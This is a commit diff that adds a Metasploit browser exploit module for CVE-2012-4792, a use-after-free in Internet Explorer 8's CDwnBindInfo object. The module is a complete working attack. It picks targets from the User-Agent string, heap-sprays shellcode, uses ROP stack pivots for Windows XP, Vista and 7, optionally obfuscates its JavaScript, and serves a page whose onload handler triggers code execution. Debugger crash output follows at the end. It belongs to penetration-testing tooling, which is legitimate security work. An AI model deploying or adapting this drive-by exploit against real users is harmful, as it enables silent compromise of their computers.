Added module for CVE-2012-4792

Author: jvazquez-r7

modules/exploits/windows/browser/ie_cdwnbindinfo_uaf.rb

@@ -0,0 +1,298 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = NormalRanking
+
+	include Msf::Exploit::Remote::HttpServer::HTML
+	include Msf::Exploit::RopDb
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => "Microsoft Internet Explorer CDwnBindInfo Object Use-After-Free Vulnerability",
+			'Description'    => %q{
+					This module exploits a vulnerability found in Microsoft Internet Explorer. A
+				use-after-free condition occurs when a CDwnBindInfo object is freed by
+				FollowHyperlink2, but a reference is kept in CDoc.  As a result, when the reference
+				is used again during a page reload, an invalid memory that's controllable is used,
+				and allows arbitrary code execution under the context of the user.
+
+					Please note: This vulnerability has been exploited in the wild targeting
+				mainly China/Taiwan/and US-based computers.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'eromang',
+					'mahmud ab rahman',
+					'sinn3r'  #Metasploit
+				],
+			'References'     =>
+				[
+					[ 'CVE', '2012-4792' ],
+					[ 'US-CERT-VU', '154201' ],
+					[ 'URL', 'http://blog.fireeye.com/research/2012/12/council-foreign-relations-water-hole-attack-details.html'],
+					[ 'URL', 'http://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/'],
+					[ 'URL', 'http://blog.vulnhunt.com/index.php/2012/12/29/new-ie-0day-coming-mshtmlcdwnbindinfo-object-use-after-free-vulnerability/' ],
+					[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2794220' ]
+				],
+			'Payload'        =>
+				{
+					'Space'        => 980,
+					'DisableNops' => true,
+					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
+				},
+			'DefaultOptions'  =>
+				{
+					'InitialAutoRunScript' => 'migrate -f'
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Automatic', {} ],
+					[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30
+					[ 'IE 8 on Windows Vista',  { 'Rop' => :jre,    'Offset' => '0x586' } ], # 0x0c0c0b30
+					[ 'IE 8 on Windows 7',      { 'Rop' => :jre,    'Offset' => '0x586' } ], # 0x0c0c0b30
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => "Dec 27 2012",
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
+			], self.class)
+
+	end
+
+	def get_target(agent)
+		#If the user is already specified by the user, we'll just use that
+		return target if target.name != 'Automatic'
+
+		nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
+		ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
+
+		ie_name = "IE #{ie}"
+
+		case nt
+		when '5.1'
+			os_name = 'Windows XP SP3'
+		when '6.0'
+			os_name = 'Windows Vista'
+		when '6.1'
+			os_name = 'Windows 7'
+		end
+
+		targets.each do |t|
+			if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
+				print_status("Target selected as: #{t.name}")
+				return t
+			end
+		end
+
+		return nil
+	end
+
+	def ie_heap_spray(my_target, p)
+		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
+		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
+
+		# Land the payload at 0x0c0c0b30
+		js = %Q|
+		var heap_obj = new heapLib.ie(0x20000);
+		var code = unescape("#{js_code}");
+		var nops = unescape("#{js_nops}");
+		while (nops.length < 0x80000) nops += nops;
+		var offset = nops.substring(0, #{my_target['Offset']});
+		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
+		while (shellcode.length < 0x40000) shellcode += shellcode;
+		var block = shellcode.substring(0, (0x80000-6)/2);
+		heap_obj.gc();
+		for (var i=1; i < 0x300; i++) {
+			heap_obj.alloc(block);
+		}
+		var overflow = nops.substring(0, 10);
+		|
+
+		js = heaplib(js, {:noobfu => true})
+
+		if datastore['OBFUSCATE']
+			js = ::Rex::Exploitation::JSObfu.new(js)
+			js.obfuscate
+		end
+
+		return js
+	end
+
+	def get_payload(t, cli)
+		code = payload.encoded
+
+		# No rop. Just return the payload.
+		return code if t['Rop'].nil?
+
+=begin
+Stack Pivoting to eax:
+0:008> db eax
+0c0c0b30  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
+0c0c0b40  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
+=end
+		# Both ROP chains generated by mona.py - See corelan.be
+		case t['Rop']
+		when :msvcrt
+			print_status("Using msvcrt ROP")
+			stack_pivot = [0x77c15ed6].pack("V") * 54 # ret
+			stack_pivot << [0x77c2362c].pack("V") # pop ebx, #ret
+			stack_pivot << [0x77c15ed5].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
+			rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
+		else
+			print_status("Using JRE ROP")
+			stack_pivot = [0x7c348b06].pack("V") * 54 # ret
+			stack_pivot << [0x7c341748].pack("V") # pop ebx, #ret
+			stack_pivot << [0x7c348b05].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
+			rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
+		end
+
+		return rop_payload
+	end
+
+	def load_exploit_html(my_target, cli)
+
+		p  = get_payload(my_target, cli)
+		js = ie_heap_spray(my_target, p)
+
+		html = %Q|
+		<!doctype html>
+		<html>
+		<head>
+		<script>
+		#{js}
+
+		function exploit()
+		{
+			var e0 = null;
+			var e1 = null;
+			var e2 = null;
+			var arrObject = new Array(3000);
+			var elmObject = new Array(500);
+			for (var i = 0; i < arrObject.length; i++)
+			{
+				arrObject[i] = document.createElement('div');
+				arrObject[i].className = unescape("ababababababababababababababababababababa");
+			}
+
+			for (var i = 0; i < arrObject.length; i += 2)
+			{
+				arrObject[i].className = null;
+			}
+
+			CollectGarbage();
+
+			for (var i = 0; i < elmObject.length; i ++)
+			{
+				elmObject[i] = document.createElement('button');
+			}
+
+			for (var i = 1; i < arrObject.length; i += 2)
+			{
+				arrObject[i].className = null;
+			}
+
+			CollectGarbage();
+
+			try {
+				e0 = document.getElementById("a");
+				e1 = document.getElementById("b");
+				e2 = document.createElement("q");
+				e1.applyElement(e2);
+				e1.appendChild(document.createElement('button'));
+				e1.applyElement(e0);
+				e2.outerText = "";
+				e2.appendChild(document.createElement('body'));
+			} catch(e) { }
+			CollectGarbage();
+			for(var i =0; i < 20; i++)
+			{
+				arrObject[i].className = unescape("ababababababababababababababababababababa");
+			}
+			var eip = window;
+			var data = "https://www.google.com/settings/account";
+			eip.location = unescape("%u0b30%u0c0c" + data);
+
+		}
+
+		</script>
+		</head>
+		<body onload="eval(exploit())">
+		<form id="a">
+		</form>
+		<dfn id="b">
+		</dfn>
+		</body>
+		</html>
+		|
+
+		return html
+	end
+
+	def on_request_uri(cli, request)
+		agent = request.headers['User-Agent']
+		uri   = request.uri
+		print_status("Requesting: #{uri}")
+
+		my_target = get_target(agent)
+		# Avoid the attack if no suitable target found
+		if my_target.nil?
+			print_error("Browser not supported, sending 404: #{agent}")
+			send_not_found(cli)
+			return
+		end
+
+		html = load_exploit_html(my_target, cli)
+		html = html.gsub(/^\t\t/, '')
+		print_status("Sending HTML...")
+		send_response(cli, html, {'Content-Type'=>'text/html'})
+	end
+
+end
+
+
+=begin
+(87c.f40): Access violation - code c0000005 (first chance)
+First chance exceptions are reported before any exception handling.
+This exception may be expected and handled.
+eax=12120d0c ebx=0023c218 ecx=00000052 edx=00000000 esi=00000000 edi=0301e400
+eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0         nv up ei pl nz na pe nc
+cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
+mshtml!CMarkup::OnLoadStatusDone+0x504:
+637848c3 ff90dc000000    call    dword ptr <Unloaded_Ed20.dll>+0xdb (000000dc)[eax] ds:0023:12120de8=????????
+0:008> k
+ChildEBP RetAddr
+020bf8a4 635c378b mshtml!CMarkup::OnLoadStatusDone+0x504
+020bf8c4 635c3e16 mshtml!CMarkup::OnLoadStatus+0x47
+020bfd10 636553f8 mshtml!CProgSink::DoUpdate+0x52f
+020bfd24 6364de62 mshtml!CProgSink::OnMethodCall+0x12
+020bfd58 6363c3c5 mshtml!GlobalWndOnMethodCall+0xfb
+020bfd78 7e418734 mshtml!GlobalWndProc+0x183
+020bfda4 7e418816 USER32!InternalCallWinProc+0x28
+020bfe0c 7e4189cd USER32!UserCallWinProcCheckWow+0x150
+020bfe6c 7e418a10 USER32!DispatchMessageWorker+0x306
+020bfe7c 01252ec9 USER32!DispatchMessageW+0xf
+020bfeec 011f48bf IEFRAME!CTabWindow::_TabWindowThreadProc+0x461
+020bffa4 5de05a60 IEFRAME!LCIETab_ThreadProc+0x2c1
+020bffb4 7c80b713 iertutil!CIsoScope::RegisterThread+0xab
+020bffec 00000000 kernel32!BaseThreadStart+0x37
+
+0:008> r
+eax=0c0c0c0c ebx=0023c1d0 ecx=00000052 edx=00000000 esi=00000000 edi=033e9120
+eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0         nv up ei pl nz na po nc
+cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
+mshtml!CMarkup::OnLoadStatusDone+0x504:
+637848c3 ff90dc000000    call    dword ptr [eax+0DCh] ds:0023:0c0c0ce8=????????
+
+=end